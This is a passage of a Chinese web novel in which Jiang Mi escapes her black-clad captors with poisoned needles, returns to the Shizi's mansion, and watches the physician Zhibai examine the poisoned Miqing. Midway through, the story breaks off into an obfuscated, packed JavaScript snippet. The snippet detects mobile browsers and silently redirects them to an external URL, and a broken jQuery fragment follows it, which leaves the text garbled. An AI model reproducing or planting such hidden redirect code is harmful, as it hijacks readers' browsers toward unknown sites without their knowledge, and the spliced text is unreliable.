在现代社会,她无父无母,孤身一人,只为正义而活,可来到了这个世界之后,艾花的信任,林音音的真诚……还有谢衔的相助都深深打动她。 还有那么多谜团没有解开,要是就这么不清不白地死去,姜觅不敢想象自己会有多么的不甘。 越是这种时刻,她就越要强迫自己冷静下来。 刚步入山坡上的一处小树林,姜觅突然停下脚步。 领头的黑衣人语气凶狠地问道:“怎么不走?” 姜觅偏头轻轻扫了他一眼,眸子里含有嘲讽之意,冷笑道:“你们可真傻。” 黑衣人不解其意,但自觉被冒犯,手拿长剑指向她的心口,问道:“你这话什么意思?” 姜觅又重新低下头,看着自己沾满淤泥的鞋尖,道:“我知道你们想要从我身上得到什么,就在刚刚,我已经将那东西扔出去了,你们永远都不可能找到它!” 话落,姜觅能感知到心口的疼痛。 黑衣人只是稍稍用力,她的衣裳便被刺穿。 黑衣人道:“你到底在耍什么花招!?” 姜觅倒吸一口凉气,淡淡道:“要是现在杀了我,你们永远都找不到它,也无法向你们主子交差。” 黑衣人被逼狠了,眼皮子直跳,强忍怒火咬牙切齿道:“在哪里,快告诉我!” 姜觅轻笑:“这位哥哥,你像这样,我可不敢说。” 黑衣人闻言,犹豫几秒之后将剑收回,道:“不要再耍什么花招了,快告诉我们那东西在哪!” 姜觅知道此刻自己要是轻易答应了,反而会引起怀疑,于是据理力争道:“如果你们找到了它,必须放了我。” 黑衣人闷声答道:“可以。” 姜觅知道鱼儿上钩了,于是望向不远处,道:“往那边一直走,有一颗栀子花树,我当时就是想办法将它丢在那里。” 黑衣人闻言,看向那个方向的眼神放光,与另外一名黑衣人一同去寻,走时不忘威胁道:“你最好不要耍什么花招!” 说罢,两名黑衣人匆匆往那个方向赶去,生怕晚了一秒那东西就不见了。 只余三名黑衣人守在姜觅身边,姜觅偷偷松了口气,目光掠过三个黑衣人,看向他们的身后,惊喜地呼唤道:“你们终于来救我了!” 三名黑衣人几乎同时间迅速转身,从袖间掏出长钩,进入高度警备状态。 然而他们刚转身,便发现那边分明空无一人! 他们被骗了。 11.神秘物件 只有一片枯叶在晚风的吹拂中缓缓掉落,掉落得无声无息。 他们当即明白这是被骗了,可是刚准备回过头,脖间一痛,茫然地低下头看去时,只见脖间插入一根极细的银针。 没来得及有任何反应,便浑身瘫软地倒了下去。 另一边,姜觅拿着兰花银簪的手臂微微颤抖。 这里光线极暗,她一路上都在想办法挣脱手腕上捆绑的麻绳,还好让她找到绳心,整根麻绳最关键的那一股,手指一抽一拉间将整个绳结松开。 可是谢衔赠与的银簪里面只有三根有毒银针,于是她便使了这出调虎离山之计,实际上哪有什么东西?她根本就不知道那个东西是什么。 说来搞笑,一个东西竟然害死了这么多人,真是令人讽刺。 黑衣人们躺在地上,怒目圆瞪,可是连手指都动不了,只能无能等死。 姜觅走到其中一位黑衣人身边蹲下,用极慢极轻的语气道:“你们只是幕后之人的工具,临死为何还要替他保守秘密?不如告诉我,‘它’到底是什么?” 黑衣人无力地翕动嘴唇,似乎有千言万语想要说,可是张嘴却难以说出一句完整的话,只道:“是……“ 话还未说完,黑衣人的眼神瞬间空洞,死不瞑目。 姜觅有一种明明马上就要窥见天光,却在关键时刻戛然而止的感觉,她叹了口气,伸手帮黑衣人将眼皮子合上,随后站起身快速离开此地。 她不能在这里浪费时间,待那两个黑衣人发现是她在骗他们,到时候追上来,她现在手上已经没有可以保命的东西,一时半会还没有办法对付他们。 早在她手拿匕首架在自己脖子上时,唤疑当时就按捺不住想要上前阻止她,她当时从唤疑身前走过时,低声道:“在山下梦姑镇回合。”梦姑镇是从临安到京城的必经之地。 现在他们应该早就到了梦姑镇。 姜觅两步做三步,离开此处,往山下赶去。 然而,她没走几步,就听到不远处有细微的声音,想来是两位黑衣人发现端倪了。 她看着眼前极为陡峭的山坡,心一横,往地上一趟,身体微微用力,整个人滚了下去。 说不疼是不可能的,姜觅只觉得浑身上下每一处是完好的,她滚到一半,幸亏有一棵枯树横在那里将她拦住,不然她真的不敢想象后果如何。 她来不及顾及伤口,从地上爬起来,将地上的树枝捡起来当作拐杖,磕磕绊绊地下山。 一个时辰之后,她终于来到梦姑镇镇口。 而马车早已等候在那处,林音音等人站在马车旁盼望着,看见她的残影时朝她奔来。 他们都相信,她能够凭借自己平安归来。 姜觅的眼眶微微湿润,黑夜中无人知晓。 七日后,马车在京城街道上疾行,在世子府侧门停下。 唤疑早用飞鸽传书向谢衔禀报情况,然而他们下马车时,侧门边上只有沉香在静候。 姜觅刚下马车,沉香便上前轻唤道:“姜小姐。” 她似乎有话要说,且犹疑地看了其余几人一眼。 姜觅只觉是跟谢衔有关的事,不过她一心放在迷青中毒的事情上。 迷青杀人无数死有余辜,要死也能现在死。待一切尘埃落定再死也不迟。 姜觅从小同情心极强,但却知什么人值得怜悯,什么人不值得。 如今快过半月,当务之急还是叫知白神医看看迷青身上的毒,或许研究出解法,凶手便再也不能利用毒药胁迫无辜之人去伤害无辜之人。 姜觅领着知白神医往内苑走去。 世子府景观尚可,夏日池里荷花正盛,姜觅从未有闲心好好欣赏。 知白神医却对花草树木有着天然的喜爱,看着一大片荷花,顿时移不动道。 池子中央横跨一个桥梁,拱形建筑,上面是一个小亭子,只见美人身穿红色薄纱,拨动琴弦,宛转音调萦绕于整个荷花池。 世子府的主人,谢衔随意靠在长亭的围栏上,修长手指勾着酒壶壶柄,肆意地饮酒。 美人相陪,美酒相伴,好不惬意潇洒,当之无愧的闲散世子。 姜觅陪同知白神医站在池边不久,那美人似乎注意到了他们,于是环着谢衔的药,像是没有力气般倚在谢衔身上,两人手挽手朝这里走来。 姜觅站在原地,毫无躲避的意思。 待两人走近,美人看到姜觅的那张脸时,眼里面闪过一丝惊艳,立马转换为魅惑勾人的表情,对着谢衔的耳畔吐气道:“世子爷,她是谁呀?” 谢衔闻言,这才将视线从她身上移开,眼神颇为不在意地轻扫一眼姜觅,道:“一个不重要的人罢了,你又何必在乎她?” 边说着,他偷偷用余光观察姜觅的表情。 然而什么都没有发现。姜觅对他说的话根本不痛不痒,神情依旧十分平静。 美人眼波流转,勾唇道:“是么?” 谢衔牵起美人的纤纤玉手,道:“是啊,本世子现在眼里心里只有你一个人。” 美人掩面颇为不好意思地娇羞一笑,抬起头与谢衔深情款款地对视,两人携手离去时,谢衔目视前方,眼神却一片冰冷。 看着两人离去的背影,姜觅神色蓦地凝重起来。 看来谢衔的处境比她想象中的还要困难,即使是闲散世子,也有许多不得已的地方。 正想着,她转身看向知白神医,却撞向对方十分兴味的眼神。 知白神医方才看向谢衔时没有什么好脸色,如今望向姜觅的眼神却充满慈爱,他双手扣在背后,似乎无意地问道:“徒儿,不如等一切尘埃落定后,同我一起回临安?” 姜觅闻言,明显一愣。 说实话,她现在满脑子都是追查悬案,可是从未想过为姜家讨回公道后她又该何去何从,知白神医的话点醒了她。 她想了想,发自内心地感叹道:“那就希望一切快点尘埃落定。” 知白神医欣慰一笑,继续旁若无人地欣赏满池荷花, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473869|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还好唤疑即使来救场,将他们几人引到迷青养伤的住所。 床榻边,姜觅同林音音等人忧心忡忡地看着床榻上脸色苍白的迷青。 唤疑的情绪最为激动,肩胛骨不停颤抖,紧咬着唇眼眶含泪,不知在想些什么。 一路上他都表现得十分焦急,于是因为害怕失去在这个世界唯一的亲人。 那时候,有天夜里下大雨,寺庙差点被淹,哥哥将唯一一件干衣服披在他身上,如果不是这样,哥哥也不会发高烧,他也不会离开独留哥哥一个人在那里,也不会发生后来的事情。 知白神医正在为迷青把脉,双手均把过脉后,他上前将迷青的眼皮子的扒开,细细观察片刻,这才站起身来。 唤疑忙道:“可有解法?” 知白神医眯了眯眼,道:“这毒,我之前见过。” 唤疑眼神里面满是不可置信,可他继续追问,知白神医这回无论如何也不肯继续说下去,只道:“这毒老夫能解,他也不会死,你不必过于担心。” 这话如同定心丸,唤疑感觉压在自己心头的那块巨石已经变成齑粉,终于能顺畅地呼吸。 而早在知白神医说出这毒之前见过这句话时,姜觅的实现飘忽在迷青和知白神医两人之间,陷入沉思。 知白神医作为前朝太傅,隐居这么久,居然断言先前见过这毒,这是不是说明,知白神医与幕后之人有关系? 随后,唤疑带着几个侍卫,领着知白神医去往先前为他在京城置办的宅院。 姜觅看着床榻上依旧昏迷不醒的迷青,总感觉有些心神不宁,几日奔波不敢真正入眠导致她现在疲惫不堪,此刻站在这里已经是强撑着了。 她眼前一黑,身形微微晃动。 就在这时,身旁一道红色身影闪现到她身旁,扶住她的胳膊。 姜觅默默收回手,往后退了一步,看着眼前这人,问道:“世子不去陪那佳人,怎来这了?” 这不是她在酸言酸语,单纯问候罢了。 谢衔似乎不满她的闪躲,眉心一拧,但终究没有说些什么,道:“姜小姐可是吃味了?” 姜觅很想说:世子你真是多虑了。 可转而一想,她和世子现在是密切相关的合作伙伴,还是得给世子留点面子,于是随意道:“世子觉得是什么,便是什么。” 谢衔闻言,有些压抑不住上扬的嘴角。 然而下一秒,姜觅转移话题道:“世子,这几日可有查到艾花母女的踪影?” 谢衔摇摇头,谈起正事时他突然变得正经起来,沉思片刻后道:“很奇怪,艾花母女那晚之后就像凭空消失一样,我的人在京城找遍了都没找到,这不是她们母女能做到的。” 姜觅犹疑道:“你的意思是说,有人帮助她们隐匿了踪迹?” 谢衔点头:“没错,而且这个人本事还不小。” 姜觅突然想起那日与黑衣人的事情,道:“有一件事情我觉得很奇怪,幕后之后好像是想从我身上得到什么。”